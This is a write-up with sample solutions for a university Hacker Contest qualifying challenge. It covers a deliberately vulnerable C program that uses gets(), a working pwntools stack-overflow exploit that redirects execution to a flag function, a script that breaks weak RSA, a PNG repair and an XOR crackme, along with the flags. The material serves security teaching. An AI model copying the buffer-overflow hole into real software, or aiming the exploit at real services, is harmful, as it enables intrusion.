Write-Up Registration Challenge Hacker Contest Summer 2026

26. June 2026

During summer semester of 2026, our "Hacker Contest" will be held again Darmstadt University (TU) and Darmstadt University of Applied Sciences (h_da). In the popular course, students have the chance to get real insights into IT security and gain hands-on experience with tools and methods to search for vulnerabilities in networks and systems.

As in every semester, prospective participants took on the Hacker Contest Challenge to qualify for participation.

If you are curious to know what a Hacker Contest Challenge looks like, or which flags you might have missed this time: This is our sample solution for the summer semester 2026 Hacker Contest Challenge.

Table of Contents

Scenario

Dr. Mal Ware is a researcher known for two things: outstanding work in the field of computer security and an obsessive urge to hide everything he comes into contact with behind at least one unnecessary layer of protection. His colleagues joke that he even encrypts his grocery lists.

Recently, he left for a sabbatical and abandoned his workstation in a pretty chaotic state. Four files, no documentation, no explanation. Typical Mal.

No one on the team has made any progress with it so far.
Now it’s your problem.

Challenge

The Challenge provides four different tasks to solve. They cover the areas of Binary Exploitation, Cryptography, Forensics, and Reverse Engineering.

Vulnerabilities

Binary Exploitation

In this task, participants are given a docker container which runs a program that is vulnerable to a stack overflow because of the usage of gets(name) in vuln.c:

#include <stdio.h>
#include <stdlib.h>

void flag(){
    system("cat /flag");
}

void vuln(void) {
    char name[16];

    printf("What is your name?\n");
    gets(name);
    printf("Hello %s!\n", name);
}

int main(int argc, char **argv) {
    vuln();
    return 0;
}

gets(name) reads user input without checking how much data is provided. Since name is only 16 bytes long, supplying more than 16 bytes causes the input to overflow into adjacent stack memory.
On x86_64, the stack layout for vuln() looks roughly like this:

| return address (RIP, 8 bytes)|
| saved RBP (8 bytes)          |
| name[16]                     |

Therefore, the offset to RIP is 16 + 8 = 24 bytes.
The binary also contains a function flag(), which is never called. But since we can overwrite the return address, we can redirect execution to flag(). Here is a possible exploit:

#!/usr/bin/env python3
from pwn import *

BINARY_PATH = "./vuln"
context.binary = BINARY_PATH
context.arch = 'amd64'
context.log_level = 'debug'


def exploit():
    elf = ELF(BINARY_PATH)
    io = remote("localhost", 31337)

    flag_addr = elf.symbols['flag']
    log.info(f"flag: {hex(flag_addr)}")

    offset = 24
    rop = ROP(elf)
    ret = rop.find_gadget(['ret'])[0]

    payload = flat(
        b"A" * offset,
        ret,
        flag_addr
    )

    io.sendline(payload)
    output = io.recvall(timeout=2)
    log.info(output)

if __name__ == "__main__":
    exploit()

The exploit first resolves the address of flag() and then builds a payload. The payload consists of 24 bytes of data to fill the buffer and overwrite the saved RBP, ret as a gadget used for stack alignment, and flag_addr which becomes the new return address. The ret gadget is required since the stack needs to be 16-byte aligned before a function call. When we overwrite the return address manually, the stack alignment is no longer what the compiler expects. The additional ret gadget fixes this by shifting the stack by 8 bytes before entering flag().

When vuln() returns, execution jumps to flag() instead of back to main(), resulting in

system("cat /flag");

being executed and printing the flag: USD{TH47s0NEoV3rFl0WNBuff3R}

Cryptography

A text file with the following content is shared with participants:

modulus = 71448348576730208360402604523024658663907311448489024669693316988935593287322878666163481950176220037593478347105937422686501991894419788796088422137966026252115665955708320894212670995120360575998022657117272837857081207414288967349703122112612592257302621922087523975633779413989846867753789334513516671708905864234990658834403314366781767307988861368706542035298905654098972927746169520765095828115590769191347542603494729999498008550716497559772775000047879966991317048980193679814642878967988188720203047827756681925721285995958041051137

exponent = 65537

ciphertext = 23640165384682439640655748228079459163117915549277021157324938696071981435257806761673684640117050750573569329968888546085918779970337933778858150385305017381035835012597954528901825794185877201590669537461779975979426171975027432490164324079846923493249667882900771512943833717286199859521988259353125308895761733548203938259227907837696053540447288745573013902001004016027351373469265682918511777767496456696824566891622818168125722273259709110748198257592243613645318311776081667992276265295281271708036650195323390065783213947966940363011

They are supposed to crack the textbook RSA encryption and reveal the plaintext. Since RSA relies on the difficulty of factoring the modulus n = p \* q, where p and q are large prime numbers, we check FactorDB to find out that n had already been factored, and the factors are both Mersenne primes. Once the prime factors of n are known, RSA can be broken completely because the private exponent d can be reconstructed:

from sympy import mod\_inverse

# given
n = 71448348576730208360402604523024658663907311448489024669693316988935593287322878666163481950176220037593478347105937422686501991894419788796088422137966026252115665955708320894212670995120360575998022657117272837857081207414288967349703122112612592257302621922087523975633779413989846867753789334513516671708905864234990658834403314366781767307988861368706542035298905654098972927746169520765095828115590769191347542603494729999498008550716497559772775000047879966991317048980193679814642878967988188720203047827756681925721285995958041051137
e = 65537
c = 23640165384682439640655748228079459163117915549277021157324938696071981435257806761673684640117050750573569329968888546085918779970337933778858150385305017381035835012597954528901825794185877201590669537461779975979426171975027432490164324079846923493249667882900771512943833717286199859521988259353125308895761733548203938259227907837696053540447288745573013902001004016027351373469265682918511777767496456696824566891622818168125722273259709110748198257592243613645318311776081667992276265295281271708036650195323390065783213947966940363011

# factordb.com
p = pow(2, 521) - 1
q = pow(2, 1279) - 1

phi\_n = (p - 1) \* (q - 1)
d = mod\_inverse(e, phi\_n)

m = pow(c, d, n)
flag = m.to\_bytes((m.bit\_length()+7) // 8, 'big').decode()
print(flag)

This reveals the flag: USD{c@refUlWItHyoUrpR!mES}

Forensics

Participants are given a .png file, however when trying to open it, it seems to be broken. To repair the .png, we need to analyze the chunks and fix it in three places.

  • PNG signature corrupted: .png files always start with the signature 89 50 4E 47 0D 0A 1A 0A, however here, the 7th byte of the signature was changed to 1B
  • Length value of the first chunk too small: The length value of the first chunk was changed to 0C from 0D
  • CRC of IHDR chunk corrupted: The CRC was changed from 00b0 57b9 to 00b0 56b9. To calculate the correct CRC, the following script can be used:
import zlib
chunk = bytes.fromhex(
 "494844520000002ab0000018001030000000"
)
crc = zlib.crc32(chunk) \& 0xffffffff
print(f"Correct CRC: {crc:08x}")

After fixing the .png in those three places, it can be recreated from the hexdump and the .png can finally be opened, revealing the flag: USD{n1ceDrAwiNG}

Reverse Engineering

The executable crackme prompts for a password. To find out the password, we first load the file into Ghidra and inspect it.
Going through the decompiled code, we notice

local\_10 = \*(long \*)(in\_FS\_OFFSET + 0x28);
local\_a4\[0] = 0x26;
local\_a4\[1] = 0x20;
local\_a4\[2] = 0x25;
local\_a4\[3] = 0x30;
local\_a4\[4] = 0x27;
local\_a4\[5] = 0x26;
local\_a4\[6] = 0x30;
local\_a4\[7] = 0x36;
local\_a4\[8] = 0x27;
local\_a4\[9] = 0x30;
local\_a4\[10] = 0x21;
local\_a4\[0xb] = 0;

A bit further down, local\_a4 is used:

for (local\_b0 = 0; local\_a4\[local\_b0] != 0; local\_b0 = local\_b0 + 1) {
 local\_58\[local\_b0] = local\_a4\[local\_b0] ^ 0x55;
 }

Converting the values of local\_a4 to a string, we get "& %0'&06'0!". XORing that string with 0x55 as seen above gives us the password, which is supersecret.

Also interesting:

Security Advisories on hugocms and Gitea

The pentest professionals at usd HeroLab examined hugocms and Gitea during their pentests. Thereby, several vulnerabilities were identified. The vulnerabilities were reported to...

read more